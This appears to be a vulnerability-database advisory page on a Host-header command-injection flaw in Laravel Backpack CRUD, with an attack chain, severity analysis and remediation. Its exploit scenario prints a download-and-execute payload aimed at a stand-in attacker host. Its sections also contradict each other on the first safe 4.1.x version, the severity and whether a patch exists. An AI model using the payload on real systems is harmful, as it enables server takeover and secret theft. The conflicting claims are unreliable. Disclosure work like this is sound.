Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify application running vulnerable Backpack CRUD
-
DeliveryConfirm exec() is enabled and proxy does not strip Host headers
-
ExploitSend repeated requests with shell-metacharacter-injected Host header
-
Execution1-in-100 gate passes request to makeCurlRequest
-
Persistexec() runs attacker-controlled OS command as web server user
-
ImpactExfiltrate .env secrets or install reverse shell
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires three concurrent conditions to be met simultaneously. First, the application must run a vulnerable version of Laravel Backpack CRUD (4.1.x < 4.1.72, 5.x < 5.6.2, 6.x < 6.8.13, or 7.x < 7.0.36). Second, PHP's exec() function must be enabled for the web server process - many production PHP-FPM pools explicitly disable exec() via the disable_functions directive in php.ini, which would block this attack entirely. Third, the application's reverse proxy or web server must not sanitize or reject malformed Host headers before they reach PHP - default nginx and Apache configurations typically do strip such headers, making this a non-default deployment posture. No authentication is required and no user interaction is needed. The random 1-in-100 sampling gate slightly increases the request count an attacker must send but is not a meaningful security barrier. Exploitation is limited by: exec() being disabled (hard block), a sanitizing reverse proxy (hard block), and the probabilistic gate (soft delay only). |
| Impact | The CVSS 8.1 vector (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) correctly captures a meaningful real-world nuance: Attack Complexity is High because successful exploitation requires two non-default conditions to be simultaneously absent - the application's reverse proxy must not strip or normalize malformed Host headers (standard nginx and Apache configurations do strip these), and PHP's exec() function must be enabled for the web process (many hardened PHP-FPM deployments disable it via disable_functions). For applications that do meet both conditions, however, the vulnerability is effectively unauthenticated pre-authentication RCE, and any security team - whether at a large enterprise or a small operator - should treat it as an urgent P1. The 1-in-100 probabilistic sampling gate is not a security control; an attacker who has confirmed the required conditions needs only a median of 100 HTTP requests to trigger the vulnerable path. EPSS data was not provided in the input. The vulnerability is not listed in the CISA KEV catalog and no public exploit code has been identified from the available references. The overall risk posture is: critical for unprotected deployments, moderate for deployments behind a sanitizing reverse proxy with exec() disabled. |
| Exploit ScenarioDerived | An attacker who has confirmed that the target application runs a vulnerable Backpack CRUD version, that exec() is enabled in the PHP process, and that no sanitizing reverse proxy is stripping Host headers, sends a stream of HTTP requests with a crafted Host header such as 'example.com; curl http://attacker.example/shell.sh|bash #'. After a median of 100 requests, the 1-in-100 gate passes the request to makeCurlRequest, which assembles and executes the injected shell command as the web server user (www-data or nginx). The attacker can immediately exfiltrate the application's .env file containing APP_KEY, database credentials, and API keys, or launch a reverse shell for persistent interactive access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 20, 2026
OS command injection in Laravel Backpack CRUD's Stats::makeCurlRequest method allows unauthenticated remote attackers to execute arbitrary OS commands as the web server user by supplying a crafted HTTP Host header. All four maintained branches are affected: 4.1.x before 4.1.72, 5.x before 5.6.2, 6.x before 6.8.13, and 7.x before 7.0.36. No public exploit code or CISA KEV listing exists at time of analysis, but the only in-code guard is a 1-in-100 probabilistic gate that provides no meaningful protection against a determined attacker who can retry requests.
RemediationAI
Upgrade immediately to the earliest safe release for your installed branch: 4.1.72 for the 4.1.x branch, 5.6.2 for 5.x, 6.8.13 for 6.x, or 7.0.36 for 7.x. Release packages are available at https://github.com/Laravel-Backpack/CRUD/releases/tag/4.1.72, https://github.com/Laravel-Backpack/CRUD/releases/tag/5.6.2, https://github.com/Laravel-Backpack/CRUD/releases/tag/6.8.13, and https://github.com/Laravel-Backpack/CRUD/releases/tag/7.0.36. If an immediate upgrade is not possible, two compensating controls can reduce exposure: first, disable PHP's exec() function by adding it to disable_functions in php.ini for the web process pool - this prevents shell execution but may break any other application code that calls exec(), so audit usage first; second, ensure your nginx or Apache reverse proxy is configured to reject requests with syntactically malformed Host headers (enforce strict server_name matching and avoid catch-all server blocks). Neither control is a permanent fix; upgrade is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the PHP method Backpack\CRUD\Stats::makeCurlRequest, which concatenates the HTTP Host header directly into a shell command string and passes it to PHP's exec() function without sanitization or shell-argument escaping. This is a textbook CWE-78 (OS Command Injection) pattern; the filed CWE-20 (Improper Input Validation) correctly identifies the root cause class as missing input validation, but the exploitable consequence is shell command injection. The code path is invoked from BackpackServiceProvider::boot(), meaning it fires on every HTTP request to the application, not only on admin routes. The affected package (composer/backpack/crud, CPE pkg:composer/backpack_crud) is the core CRUD administration scaffolding layer for Laravel PHP applications. The fix eliminates the vulnerable path entirely by replacing the shell-based curl invocation with the Guzzle HTTP client already present in the codebase, removing shell execution from the stats flow.
Know when Nginx gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:N and PR:N because the attack is unauthenticated over the network; AC:H because exec() must be enabled and the reverse proxy must not strip malformed Host headers - both non-default conditions must be simultaneously absent.
Primary rating from Vendor (https://github.com/Laravel-Backpack/CRUD).
CVSS VectorVendor: https://github.com/Laravel-Backpack/CRUD
DescriptionCVE.org
Summary
Backpack\CRUD\Stats::makeCurlRequest builds a shell command using unescaped input that originates from the HTTP Host header, then passes it to exec(). A specially crafted Host header can break out of the shell argument and cause the server to execute arbitrary OS commands as the web user.
The vulnerable code path is reached from BackpackServiceProvider::boot() on every HTTP request in production when exec() and curl are available. A 1-in-100 random gate is the only guard - an attacker can reliably trigger it by retrying.
Severity
High - CVSS 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Complexity is rated High because default nginx and Apache configurations typically strip or reject malformed Host headers before they reach PHP, and exec() is often disabled for web processes in hardened environments. Both mitigations must be absent for exploitation.
Impact
A successful exploit yields OS command execution as the web server user (www-data, nginx, etc.), giving an unauthenticated attacker access to environment secrets (APP_KEY, database credentials, API keys in .env), the filesystem, and any service the server can reach.
Fix
makeCurlRequest was replaced with the Guzzle-based path already present in the codebase, eliminating the shell-command construction entirely. Upgrade to a patched release immediately.
Affected versions
| Branch | Vulnerable range | First safe version |
|---|---|---|
| 4.1.x | < 4.1.70 | 4.1.70 |
| 5.x | < 5.6.2 | 5.6.2 |
| 6.x | < 6.8.13 | 6.8.13 |
| 7.x | < 7.0.36 | 7.0.36 |
Credits
Reported by Vishal Shukla (@shukla304) via sechub.dev AI Agent.
Executive ViewAI
CVE-2026-54182 is a critical unauthenticated remote code execution vulnerability in Laravel Backpack CRUD affecting all four maintained version branches (4.1.x, 5.x, 6.x, 7.x). Attackers can execute arbitrary OS commands as the web server user by manipulating HTTP Host headers. Organizations deploying Laravel Backpack CRUD lack vendor patches and face immediate risk of server compromise, data breach, and operational disruption.
No vendor-released patch identified at time of analysis. Interim mitigations: deploy WAF rules blocking malformed or double-encoded Host headers; implement host-based input validation to reject non-standard formats before reaching application logic; disable Stats::makeCurlRequest if unused; segment affected systems from sensitive infrastructure and restrict network egress to approved destinations; enable detailed logging of Host header values and HTTP 400/500 responses to detect exploitation attempts; consider running affected applications in containerized environments with restricted system capabilities.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cau
A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescap
An issue was discovered on GL.iNet devices before version 4.5.0. Rated critical severity (CVSS 9.8), this vulnerability
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range fi
The resolver in nginx before 1.8.1 and 1.9.x before 1.9.10 allows remote attackers to cause a denial of service (invalid
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
Use-after-free in NGINX Plus and NGINX Open Source can crash a worker process handling HTTP/2-proxied requests and, if A
Heap buffer overflow in NGINX Plus and NGINX Open Source when HTTP/2 is enabled lets remote, unauthenticated attackers c
Nginx UI is a web user interface for the Nginx web server. Rated high severity (CVSS 8.9), this vulnerability is remotel
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
EUVD-2026-77707
GHSA-mrc5-3mm3-45c5
NVD
CVE.org
EPSS
Exploit-DB